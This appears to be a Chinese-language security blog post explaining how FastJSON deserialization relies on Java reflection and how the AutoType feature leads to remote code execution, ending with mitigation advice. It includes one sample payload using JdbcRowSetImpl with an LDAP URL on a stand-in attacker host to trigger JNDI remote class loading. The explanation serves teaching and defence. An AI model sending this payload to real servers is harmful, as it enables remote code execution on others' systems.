🔍 剖析FastJSON 反序列化是如何利用的反射机制 📌 一、反序列化是什么? 反序列化(Deserialization) :将字符串形式的数据(如 JSON)转成 Java 对象的过程。
举个例子,有一个 Java 类:
public class User { public String username; public int age; }
如果传入 JSON:
{ "username" : "www.geekserver.top" , "age" : 20 }
我们可以使用 FastJSON 自动反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但问题是—— FastJSON 怎么知道怎么构建这个类?怎么给字段赋值?这时候就用到了 Java 的反射机制。
⚙️ 二、FastJSON 使用反射详细分析 下面我们 从零开始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串变成对象的。
▶️ 第 1 步:类加载 FastJSON 首先需要知道要反序列化成哪个类。
如果手动指定类(如 User.class
),就直接用; 如果启用了 AutoType
,就从 JSON 的 @type
字段中读取。 // 方式一:手动指定类 JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 动态识别 JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className);
反射关键点: Class.forName()
动态加载类 。
▶️ 第 2 步:实例化对象 FastJSON 会用 clazz.newInstance()
创建目标类的实例。
Object obj = clazz.newInstance(); // 相当于 new User()
反射关键点: 默认调用类的无参构造方法 。如果类没有无参构造,就报错。
▶️ 第 3 步:遍历字段,赋值属性 FastJSON 会读取 JSON 中的 key-value 对,然后:
具体如下:
Field field = clazz.getDeclaredField( "username" ); // 找到字段 field.setAccessible( true ); // 设置可访问 field.set(obj, "Alice" ); // 设置值
对于多个字段会这样循环:
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); field.set(obj, entry.getValue()); }
🧩 结果:我们就用反射动态生成了一个对象! User u = (User) obj; System.out.println(u.username); // 输出:Alice
📌总结 FastJSON的反序列化 JSON.parseObject(jsonStr, User.class);
相当于进行了如下操作:
// 1. 把 JSON 字符串转成 Map 结构 Map<String, Object> jsonMap = new HashMap<>(); jsonMap.put( "username" , "alice" ); jsonMap.put( "age" , 18 ); // 2. 用反射创建对象实例 Class<?> clazz = User . class ; Object obj = clazz.newInstance(); // 默认调用无参构造 // 3. 用反射给字段赋值(字段名必须和 JSON 键一致) for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); // 解锁私有字段 field.set(obj, entry.getValue()); // 赋值 } // 4. 返回强转后的对象 User u = (User) obj;
☠️ 三、AutoType 与反射结合后的漏洞原理 我们现在明白了 FastJSON 会:
通过反射 Class.forName()
加载类; ✅ 那攻击者可以怎么利用? 如果开启了 AutoType,攻击者就能传一个精心构造的 JSON,例如:
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://attacker.com/Exploit" , "autoCommit" : true }
FastJSON 会:
自动调用 setDataSourceName("ldap://...")
; 内部触发 JNDI 请求 → 远程加载恶意类 → 执行代码。 JdbcRowSetImpl
利用链分析 👉 FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制
💣 四、流程总结 阶段 技术 说明 🏗️ 加载类 Class.forName()
反射动态加载任意类(危险!) ⚙️ 创建对象 clazz.newInstance()
调用无参构造方法实例化 🧩 设置属性 field.set(obj, value)
设置攻击字段触发危险行为 🧨 利用漏洞类 JdbcRowSetImpl
自动触发 JNDI 请求 🔥 实现 RCE JNDI + 远程类加载 下载并执行远程恶意类
✅ 五、修复建议 防护措施 建议 🚫 禁用 AutoType 默认关闭 setAutoTypeSupport(true)
✅ 配置白名单 ParserConfig.addAccept("com.safe.")
⬆️ 升级 FastJSON 推荐 1.2.83+,更强防护机制 🔍 审计日志 检查是否存在 @type
字段传入
🧠 六、总结:为什么 FastJSON 漏洞离不开反射? Java 的反射机制让 JSON 可以动态适配任何类; 攻击者正是利用了反射的“全能”特性,构造任意对象、注入恶意行为。
阅读原文:原文链接
该文章在 2025/5/6 12:15:41 编辑过